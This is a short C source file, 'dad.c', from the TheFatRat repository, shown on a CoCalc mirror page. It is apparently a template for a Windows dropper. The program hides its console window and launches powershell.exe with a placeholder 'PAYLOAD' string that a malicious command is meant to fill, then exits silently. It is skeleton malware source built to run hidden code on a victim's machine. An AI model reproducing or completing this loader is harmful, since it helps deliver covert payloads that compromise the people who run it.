Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
screetsec
GitHub Repository: screetsec/TheFatRat
Path: blob/master/tools/dad.c
495 views
1
#include <stdio.h>
2
#include <string.h>
3
#include <stdlib.h>
4
#include <ctype.h>
5
#include <aclapi.h>
6
#include <shlobj.h>
7
#include <windows.h>
8
#pragma comment(lib, "advapi32.lib")
9
#pragma comment(lib, "shell32.lib")
10
int main(int argc, char *argv[])
11
{
12
FreeConsole();
13
ShellExecute( NULL,NULL, "powershell.exe", "PAYLOAD",NULL,NULL);
14
exit(0);
15
}
16
17